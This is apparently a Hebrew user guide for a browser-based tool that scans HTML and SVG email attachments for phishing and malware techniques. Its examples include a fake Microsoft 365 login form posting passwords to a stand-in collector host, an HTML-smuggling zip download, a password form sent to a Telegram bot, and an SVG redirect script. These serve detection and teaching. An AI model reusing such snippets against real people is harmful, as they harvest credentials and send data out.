הסר את שכבות ה-Base64, הקסדצימלי, קידוד ה-URL, gzip ו-deflate עד שיישאר טקסט קריא.
מנתח קבצים מצורפים ב-HTML
הכלי עצמו הוא באנגלית; דף זה מסביר את אופן השימוש בו בשפתך.
השתמש ב-מנתח קבצים מצורפים ב-HTML
מה זה עושה
טען או הדבק קובץ מצורף בפורמט HTML או SVG כדי לראות מה יקרה אם יפתח: הורדות נסתרות, טפסים ששולחים סיסמה למקום אחר, הפניות, נקודות קצה להוצאת מידע וקוד מוסתר. הקובץ נקרא כטקסט ואינו מוצג או מופעל לעולם.
היא פועלת כולה בדפדפן שלך: שום דבר שאתה מזין לא מועלה.
כיצד להשתמש ב-מנתח קבצים מצורפים ב-HTML
- אין לפתוח את הקובץ. שמור את הקובץ המצורף בפורמט .html, .htm, .shtml, .xhtml או .svg מבלי לפתוח אותו, או העתק את קוד המקור שלו כטקסט.
- טען או הדבק אותו. גרור את הקובץ אל התיבה או בחר אותו (עד 25 MB), או הדבק את הקוד המקור (עד 5 MB) ולחץ על "Analyze" או על Ctrl+Enter.
- קראו את פסק הדין. בתיבה העליונה מופיעה ההודעה "סיכון גבוה", "חשוד" או "לא נמצאו דפוסים המעידים על סיכון גבוה", עם הקטגוריות המופיעות מאחוריה ומספר הממצאים, ה-IOCs וה-blobs המוטמעים.
- עיינו בממצאים. כל ממצא מציג את חומרתו, את הקטגוריה אליה הוא משתייך, את מספר השורה ואת המקור המתאים, כאשר הקישורים והכתובות נוטרלו.
- ייצא את מה שמצאת. העתק את ה-IOCs במצב מנוטרל או במצב גולמי, או השתמש באפשרות "שלח אל" עבור ממיר IOC, מחולל דוחות על שימוש לרעה או, במקרה של בלוק מוטמע, מפענח רב-שכבתי.
דוגמה
טופס כניסה עם כתובת שמולאה מראש
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…סיכון גבוה: טופס הכניסה שולח את הסיסמה לכתובת collector[.]example, בכותרת מופיע השם "Microsoft 365" לצד שדה הסיסמה, והסקריפט ממלא את כתובת הדוא"ל מתוך קטע ה-URL באמצעות הפונקציה atob. רשימת ה-IOC מכילה את כתובת ה-URL של האספן ואת הדומיין שלו, לאחר שנטרלו.
מה הוא בודק
| אות | מה זה אומר |
|---|---|
| הברחת HTML | הערך גבוה כאשר הדף יוצר קובץ בזיכרון (Blob באמצעות createObjectURL או קישור להורדה, או msSaveOrOpenBlob) ומציע אותו להורדה. |
| טפסים | כל טופס שנשלח לאתר אחר מקבל דירוג גבוה, והכותרת מציינת מתי הוא כולל סיסמה. בטבלת הטפסים מפורטים היעד שאליו נשלח כל טופס, השיטה שבה הוא נשלח והשדות הכלולים בו. |
| נקודות קצה של הוצאת מידע | קריאות ל-API של בוטים ב-Telegram, אסימוני בוטים, webhooks ב-Discord ושירותי איסוף טפסים כגון formspree.io או webhook.site זוכים לציונים גבוהים. |
| הסתרה | atob, unescape, fromCharCode, רצפי בריחה ארוכים ותפוקות של תוכנות ערפול ידועות. מחרוזות מקודדות כפשוטן מפוענחות מבלי להריץ אותן. |
| קוד דינמי | eval, בונה הפונקציות, document.write והקצאות innerHTML יוצרים קוד או סימון בזמן ריצה. |
| הפניות | שינויי מיקום, window.open, meta refresh וקריאת קטע ה-URL, שבו ערכות לעתים קרובות מעבירות את כתובת הדוא"ל של הקורבן. |
| אנטי-ניתוח | חסימת לחיצה ימנית או מקש F12, פקודות ניפוי באגים, זיהוי כלי מפתחים ובדיקות לאיתור דפדפנים אוטומטיים. |
| תוכן משובץ | נתונים: URI, בלוקים ארוכים ב-Base64 או בשיטת הקסדצימלית וסוג הקובץ שאליו הם מפוענחים, iframes מוסתרים וקבצי SVG המכילים סקריפט. |
| רמזים לגבי המותג | שמות מותגים בכותרת, בלוגואים או בקישורים. כאשר מדובר בשדה סיסמה, רמת הסיכון מוגדרת כבינונית. |
דוגמאות נוספות
הורדה המבוצעת בדפדפן
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>סיכון גבוה, סיבה: הברחת HTML: ממצא אחד ברמת סיכון גבוהה (הדף מרכיב קובץ בדפדפן ומציע אותו להורדה) ו-4 ממצאים ברמת סיכון בינונית עבור atob, new Blob, URL.createObjectURL ותכונת ה-download. אין IOCs.
סיסמה שנשלחה לבוט בטלגרם
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>סיכון גבוה, סיבה: דליפת נתונים: סקריפט שולח נתונים מדף הכולל שדה סיסמה אל api.telegram.org, בנוסף לזיהוי נקודת הקצה של ממשק ה-API של בוט טלגרם. הממצאים ברמה הבינונית כוללים את פעולת ה-fetch, שדה הסיסמה וטופס כניסה ללא פעולה חיצונית.
תמונה בפורמט SVG שמפנה לדף אחר
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>סיכון גבוה: קובץ SVG עם סקריפט, בנוסף להפניה ברמת סיכון בינונית וממצא btoa ברמת סיכון נמוכה. היעד מופיע תחת "בקשות והפניות" כאתר אחר, וכתובת ה-URL של מרחב השמות ב-XML לא נכללת ברשימת ה-IOCs.
שאלות נפוצות
מה המנתח מחפש?
הוא משווה את המקור לכללים לזיהוי הברחת HTML (Blob, createObjectURL, msSaveOrOpenBlob, קישורי הורדה, data: URIs ו-blobs ארוכים ב-Base64), טפסים וסקריפטים ששולחים נתונים לאתרים אחרים, הוצאת מידע מ-Telegram ו-Discord, הפניות, iframes מוסתרים, תוכנות ערפול וטריקים נגד ניתוח. כמו כן, הוא מפענח ליטרלים מסוג atob, unescape ו-fromCharCode מבלי להריץ אותם, ומפרט כל כתובת URL, דומיין, כתובת IP וכתובת דואר אלקטרוני שהוא מוצא, לאחר שנטרלו.
האם ייתכן שהמכשיר יחמיץ משהו או יפעיל אזעקת שווא?
כן. קוד מוצפן או קוד שנוצר בזמן ריצה יכול להסתיר את התנהגותו מפני סריקה סטטית, וגם דפים רגילים משתמשים ב-fetch, ב-innerHTML או בתמונות מוטמעות; לכן, יש לקרוא את קוד המקור המתאים המוצג לצד כל ממצא. לצורך פיענוח קוד והדמיה בסביבת סנדבוקס, יש להשתמש ב-JS Analyzer.
האם הקובץ הועלה או נפתח?
לא. הקובץ נקרא כטקסט בדפדפן שלך, והוא לעולם אינו מוצג, מבוצע או נשלח לשום מקום. ניתן להעלות קבצים בגודל של עד 25 MB; במקרה של קבצים גדולים מאוד, נסרקים 4 ה-MB הראשונים ו-1 ה-MB האחרון של הקוד, וה-blobs המוטמעים נספרים כחלק מהקובץ כולו.
מדוע תמונת SVG נבדקת כמו דף אינטרנט?
קובצי SVG הם קבצי XML שדפדפנים פותחים כמו דפים, ולכן הם יכולים להכיל סקריפטים, קישורים ו-HTML מוטמע. תמונה אינה זקוקה לסקריפט, ולכן סקריפט בתוך קובץ SVG נחשב למשהו בעל חשיבות רבה.
מהם "בלובים" מוטמעים?
מחרוזות ארוכות ב-Base64, הקסדצימליות או מערכי בייטים בתוך הקובץ. הן מפוענחות בזיכרון ומסומנות לפי סוג הקובץ שאליו הן הופכות; ניתן להעתיק אחת מהן או לשלוח בלוק טקסט למפענח רב-שכבתי.
מה המשמעות של דרגות החומרה?
רמות "גבוה" מתייחסות לדפוסים שעליהם מסתמכים קבצים מצורפים של פישינג ותוכנות זדוניות, כגון הברחה, דליפת נתונים מנקודות קצה או שליחת טופס סיסמאות למקום אחר. הרמה "בינונית" מתייחסת לטכניקות שגם דפים רגילים משתמשים בהן. ממצא אחד ברמת "גבוה" קובע את ההערכה כ"סיכון גבוה".